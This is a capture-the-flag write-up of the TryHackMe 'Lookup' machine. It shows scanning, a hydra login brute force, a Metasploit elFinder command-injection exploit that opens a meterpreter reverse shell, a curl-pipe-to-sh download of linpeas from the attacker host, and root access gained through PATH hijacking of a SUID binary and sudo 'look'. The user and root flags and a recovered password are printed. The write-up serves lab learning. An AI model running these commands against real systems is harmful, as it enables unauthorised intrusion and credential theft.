Lookup

Easy THM • February 14, 2026
UID-exploitation PATH-hijacking password-brute-force command-injection reverse-shell sudo-abuse vhost-enumeration username-enumeration

[!important] Test your enumeration skills on this boot-to-root machine.

Lookup offers a treasure trove of learning opportunities for aspiring hackers. This intriguing machine showcases various real-world vulnerabilities, ranging from web application weaknesses to privilege escalation techniques. By exploring and exploiting these vulnerabilities, hackers can sharpen their skills and gain invaluable experience in ethical hacking. Through “Lookup,” hackers can master the art of reconnaissance, scanning, and enumeration to uncover hidden services and subdomains. They will learn how to exploit web application vulnerabilities, such as command injection, and understand the significance of secure coding practices. The machine also challenges hackers to automate tasks, demonstrating the power of scripting in penetration testing.

[!important] What is the user flag?

[!important] Target IP: 10.66.172.224 - added lookup.thm to /etc/hosts

[!info] First things first, enumeration! Gobuster, Nikto, Nmap, web exploits.

┌──(kali㉿kali)-[~]
└─$ sudo nmap 10.66.172.224 -O -A -sV -sC
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-14 08:36 EST
Nmap scan report for 10.66.172.224
Host is up (0.085s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 74:63:07:ed:00:c0:8a:be:82:e2:6b:07:62:b9:b4:c8 (RSA)
|   256 a7:79:3c:8a:78:68:f4:8e:84:c1:89:ec:36:af:58:2c (ECDSA)
|_  256 a2:16:58:58:71:4e:7f:94:df:a8:8b:98:43:71:7c:98 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://lookup.thm
|_http-server-header: Apache/2.4.41 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=2/14%OT=22%CT=1%CU=38972%PV=Y%DS=3%DC=T%G=Y%TM=69907A6
OS:A%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=105%TI=Z%CI=Z%TS=A)SEQ(SP=1
OS:05%GCD=1%ISR=107%TI=Z%CI=Z%TS=A)SEQ(SP=106%GCD=1%ISR=10B%TI=Z%CI=Z%TS=A)
OS:SEQ(SP=107%GCD=1%ISR=10B%TI=Z%CI=Z%TS=A)SEQ(SP=F5%GCD=1%ISR=110%TI=Z%CI=
OS:Z%TS=A)OPS(O1=M4E8ST11NW7%O2=M4E8ST11NW7%O3=M4E8NNT11NW7%O4=M4E8ST11NW7%
OS:O5=M4E8ST11NW7%O6=M4E8ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W
OS:6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M4E8NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=
OS:O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD
OS:=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0
OS:%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1
OS:(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI
OS:=N%T=40%CD=S)

Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 256/tcp)
HOP RTT      ADDRESS
1   85.84 ms 192.168.128.1
2   ...
3   85.91 ms 10.66.172.224

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.21 seconds
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.66.172.224/ -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.66.172.224/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/index.php            (Status: 302) [Size: 0] [--> http://lookup.thm]
/server-status        (Status: 403) [Size: 278]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================

[!note] Ok so before posting Nikto results, let’s review the above - first with nmap - 2 ports only open SSH & HTTP - gobuster is not revealing any hidden directories - the login page indicates there is an exploit there possibly? burp suite can help? not sure again what im looking for but its about web enumeration for now im assuming…Anyway Nikot results below didnt reveal much.

┌──(kali㉿kali)-[~]
└─$ nikto -h http://lookup.thm/
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          10.66.172.224
+ Target Hostname:    lookup.thm
+ Target Port:        80
+ Start Time:         2026-02-14 09:03:21 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ 534 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2026-02-14 09:04:09 (GMT-5) (48 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

[!info] I’m going to use dig cmd and nslookup for sub-domains as that was mentioned in the first paragraph section about Lookup.

┌──(kali㉿kali)-[~]
└─$ dig http://lookup.thm/    

; <<>> DiG 9.20.11-4+b1-Debian <<>> http://lookup.thm/
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 4575
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;http://lookup.thm/.            IN      A

;; AUTHORITY SECTION:
.                       3415    IN      SOA     a.root-servers.net. nstld.verisign-grs.com. 2026021400 1800 900 604800 86400

;; Query time: 3 msec
;; SERVER: 192.168.50.120#53(192.168.50.120) (UDP)
;; WHEN: Sat Feb 14 09:10:01 EST 2026
;; MSG SIZE  rcvd: 122

                                                                           
┌──(kali㉿kali)-[~]
└─$ dig http://lookup.thm/ ANY

; <<>> DiG 9.20.11-4+b1-Debian <<>> http://lookup.thm/ ANY
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOTIMP, id: 54953
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1452
;; QUESTION SECTION:
;http://lookup.thm/.            IN      ANY

;; Query time: 0 msec
;; SERVER: 192.168.50.120#53(192.168.50.120) (TCP)
;; WHEN: Sat Feb 14 09:10:10 EST 2026
;; MSG SIZE  rcvd: 47
┌──(kali㉿kali)-[~]
└─$ nslookup lookup.thm                  
Server:         192.168.50.120
Address:        192.168.50.120#53
** server can't find lookup.thm: NXDOMAIN
┌──(kali㉿kali)-[~]
└─$ nslookup http://lookup.thm/
Server:         192.168.50.120
Address:        192.168.50.120#53
** server can't find http://lookup.thm/: NXDOMAIN
┌──(kali㉿kali)-[~]
└─$ nslookup 10.66.172.224     
** server can't find 224.172.66.10.in-addr.arpa: NXDOMAIN

[!note]

Nothing useful but instead of looking online, I saw my notes that gobuster has a way to scan domains & subdomains.

gobuster dns -do lookup.thm -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

[!note] Upon realising, you cannot check the subdomains like this if DNS port 53 is closed which it is. I pivoted to looking into Vhosts

gobuster vhost -u http://lookup.thm -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain
gobuster vhost -u http://lookup.thm -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
gobuster vhost -u http://lookup.thm -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain

[!note] Unfortunately nothing came out of it…

┌──(kali㉿kali)-[/]
└─$ gobuster vhost -u http://lookup.thm -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://lookup.thm
[+] Method:                    GET
[+] Threads:                   10
[+] Wordlist:                  /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:                gobuster/3.8
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 4989 / 4989 (100.00%)
===============================================================
Finished
===============================================================

[!info] Lets go back to basics and see how the website reacts to random user/pw login attempts.

[!note] tried username=user and Pw=password123 and got

[!note] This tells me username admin exists but we need password. Firstly how many different/common usernames are there and can we try burp suite for password cracking?

[!note] Looking online showed me two ways using hydra or burp suite so can use either so lets try Hydra for now:

hydra -L /usr/share/seclists/Usernames/Names/names.txt -p password123 lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong" -IV -t 64
[80][http-post-form] host: lookup.thm   login: jose   password: password123

[!note] Weird how that worked, admin login error messages gave away the password but somehow it gives the password instead of username first so first time i enumerated a username.

[!info] logged in and found a subdomain but whats going on here?

Upon checking, this needed to be added to the /etc/hosts file

[!info] Ok, need to find out what we can do here via enumeration again,

[!note] OK this is very interesting - seems like an set up an FTP server/mount a volume/upload/download/write and there are many interesting files but opening them up just leads to random words…

[!note] Thought user jose to SSH in with no password would work or their password being nopassword but didnt work.

Wanted to understand what this elfinder was so did some research as it seems like a file manager

┌──(kali㉿kali)-[~]
└─$ searchsploit Elfinder
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                            |  Path
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
elFinder 2 - Remote Command Execution (via File Creation)                                                                 | php/webapps/36925.py
elFinder 2.1.47 - 'PHP connector' Command Injection                                                                       | php/webapps/46481.py
elFinder PHP Connector < 2.1.48 - 'exiftran' Command Injection (Metasploit)                                               | php/remote/46539.rb
elFinder Web file manager Version - 2.1.53 Remote Command Execution                                                       | php/webapps/51864.txt
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

[!note] So looking for Elfinder in searchsploit found me a RCE & CMD injection vulns (dependent on version of elFinder)

[!note] CMD injection was the way it seems like with CVE-2019-9194.

┌──(kali㉿kali)-[~]
└─$ python2 elFinder.py http://files.lookup.thm/elFinder/elfinder.html          
[*] Uploading the malicious image...
Traceback (most recent call last):
  File "elFinder.py", line 107, in <module>
    main()
  File "elFinder.py", line 96, in main
    hash = upload(url, payload)
  File "elFinder.py", line 41, in upload
    files = {'upload[]': (payload, open('SecSignal.jpg', 'rb'))}
IOError: [Errno 2] No such file or directory: 'SecSignal.jpg'
                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ python3 elFinder.py http://files.lookup.thm/elFinder/elfinder.html
  File "/home/kali/elFinder.py", line 34
    print "Usage: python exploit.py [URL]"
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print(...)?
                                                                                                                                                            

┌──(kali㉿kali)-[~]
└─$ touch SecSignal.jpg                                  
                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ python2 elFinder.py http://files.lookup.thm/elFinder/             
[*] Uploading the malicious image...
[*] Running the payload...
[*] The site seems not to be vulnerable :(

[!note] Tried to use the exploit found on exploit DB https://www.exploit-db.com/exploits/46481 - no luck and rather try metasploit for now.

msf > search 2.1.47

Matching Modules
================

   #  Name                                                               Disclosure Date  Rank       Check  Description
   -  ----                                                               ---------------  ----       -----  -----------
   0  exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection  2019-02-26       excellent  Yes    elFinder PHP Connector exiftran Command Injection


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection

msf > set RHOSTS 10.66.172.224
RHOSTS => 10.66.172.224
msf > exploit
[-] Unknown command: exploit. Run the help command for more details.
msf > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > exploit
[*] Started reverse TCP handler on 192.168.50.144:4444 
[-] Exploit aborted due to failure: not-vulnerable: Target is not vulnerable
[*] Exploit completed, but no session was created.
msf exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > 

[!note] Set wrong RHOSTS and should have set LHOST as im on VM and routed through their VPN:

msf exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > set RHOSTS files.lookup.thm
RHOSTS => files.lookup.thm
msf exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > exploit
[*] Started reverse TCP handler on 192.168.50.144:4444 
[*] Uploading payload 'buXDG06.jpg;echo 6370202e2e2f66696c65732f627558444730362e6a70672a6563686f2a202e484d37655230553848542e706870 |xxd -r -p |sh& #.jpg' (1978 bytes)
[*] Triggering vulnerability via image rotation ...
[*] Executing payload (/elFinder/php/.HM7eR0U8HT.php) ...
[*] No reply
[*] Removing uploaded file ...
[+] Deleted uploaded file
[!] This exploit may require manual cleanup of '.HM7eR0U8HT.php' on the target
[*] Exploit completed, but no session was created.
msf exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > set LHOST tun0
LHOST => tun0
msf exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) > exploit
[*] Started reverse TCP handler on 192.168.144.173:4444 
[*] Uploading payload 'Ib21m98.jpg;echo 6370202e2e2f66696c65732f496232316d39382e6a70672a6563686f2a202e684a6e556e4b3839302e706870 |xxd -r -p |sh& #.jpg' (1922 bytes)
[*] Triggering vulnerability via image rotation ...
[*] Executing payload (/elFinder/php/.hJnUnK890.php) ...
[*] Sending stage (40004 bytes) to 10.66.172.224
[+] Deleted .hJnUnK890.php
[*] Meterpreter session 1 opened (192.168.144.173:4444 -> 10.66.172.224:50994) at 2026-02-14 12:12:27 -0500
[*] No reply
[*] Removing uploaded file ...                                                                                                                              
[+] Deleted uploaded file                                                                                                                                   
                                                                                                                                                            
meterpreter >         

[!note] Spawned shell from meterpreter to use su cmd but upgraded shell then tried to change into think using su but the password was wrong?

www-data@ip-10-66-172-224:/home/think$ su think
su think
Password:  nopassword

su: Authentication failure
www-data@ip-10-66-172-224:/home/think$ su think
su think
Password: 

su: Authentication failure
www-data@ip-10-66-172-224:/home/think$ su think
su think
Password: nopassword

su: Authentication failure
www-data@ip-10-66-172-224:/home/think$ 

[!info] Decided to use Linpeas to get used to the tool more post-exploit and found a SUID bit binary set for me to use but verified via SUID binary cmd

#setup python server on AM:
python3 -m http.server 8000

#find ip of my AM
ip a | grep tun0

#upload /linpeas to TM assuming it is on AM and you are in dir of file
curl http://[AM IP]:8000/linpeas.sh | sh

www-data@ip-10-66-172-224:/home/think$ find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
/usr/sbin/pwm
www-data@ip-10-66-172-224:/home/think$ pwm
pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found

[!info] Was curious about this pwm file as it must be to do with think or somethiing to allow me to PE and couldn’t execute with nano/cat so looking online i found strings which ust prints string text within the file.

[!] Running 'id' command to extract the username and user ID (UID)
[-] Error executing id command
uid=%*u(%[^)])
[-] Error reading username from id command
[!] ID: %s
/home/%s/.passwords
[-] File /home/%s/.passwords not found

[!note] Need to know wtf this all is but i know its key as it was printed when i tried to execute pwm…

[!note] Turns out this was a 2 part exploit with SUID bit binary set and PATH hijacking:

www-data@ip-10-66-172-224:/tmp$ echo '#!/bin/bash' > id
<0(think) gid=1000(think) groups=1000(think)"' >> id
www-data@ip-10-66-172-224:/tmp$ chmod +x /tmp/id
chmod +x /tmp/id
www-data@ip-10-66-172-224:/tmp$ ls -la /tmp/id
ls -la /tmp/id
-rwxr-xr-x 1 www-data www-data 70 Feb 14 18:38 /tmp/id
www-data@ip-10-66-172-224:/tmp$ /tmp/id

/tmp/id
uid=1000(think) gid=1000(think) groups=1000(think)
www-data@ip-10-66-172-224:/tmp$ 
www-data@ip-10-66-172-224:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
www-data@ip-10-66-172-224:/tmp$ /sbin/pwm
/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: think
jose1006
jose1004
jose1002
jose1001teles
jose100190
jose10001
jose10.asd
jose10+
jose0_07
jose0990
jose0986$
jose098130443
jose0981
jose0924
jose0923
jose0921
thepassword
jose(1993)
jose'sbabygurl
jose&vane
jose&takie
jose&samantha
jose&pam
jose&jlo
jose&jessica
jose&jessi
josemario.AKA(think)
jose.medina.
jose.mar
jose.luis.24.oct
jose.line
jose.leonardo100
jose.leas.30
jose.ivan
jose.i22
jose.hm
jose.hater
jose.fa
jose.f
jose.dont
jose.d
jose.com}
jose.com
jose.chepe_06
jose.a91
jose.a
jose.96.
jose.9298
jose.2856171

[!note] After using su for all passwords for think, I eventually got it:

www-data@ip-10-66-172-224:/tmp$ su think
su think
Password: josemario.AKA(think)
think@ip-10-66-172-224:/tmp$ 

[!important] think:josemario.AKA(think)

[!info] Time to get user.txt!

think@ip-10-66-172-224:/tmp$ cd /home
cd /home
think@ip-10-66-172-224:/home$ cd /think
cd /think
bash: cd: /think: No such file or directory
think@ip-10-66-172-224:/home$ cd think
cacd think
t think@ip-10-66-172-224:~$ user.txt
cat user.txt
38375fb4dd8baa2b2039ac03d92b820e

[!important] User flag = 38375fb4dd8baa2b2039ac03d92b820e

[!important] What is the root flag?

[!info] Now to see what think can do to PE to root!

[!note] Going for low-hanging fruit of checking sudo permission got me a program called look to search for lines in files that start with a given string which I can run as sudo to get root file using the following:

think@ip-10-66-172-224:~$ sudo -l
└─$                                                                          │Matching Defaults entries for think on ip-10-66-172-224:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:
/bin\:/snap/bin
User think may run the following commands on ip-10-66-172-224:
(ALL) /usr/bin/look
think@ip-10-66-172-224:~$ sudo /usr/bin/look '' /root/root.txt > /tmp/flag.txt
think@ip-10-66-172-224:~$ cat /tmp/flag.txt
5a285a9f257e45c68bb6c9f9f57d18e8

[!important] root.txt = 5a285a9f257e45c68bb6c9f9f57d18e8

← Back to THM Labs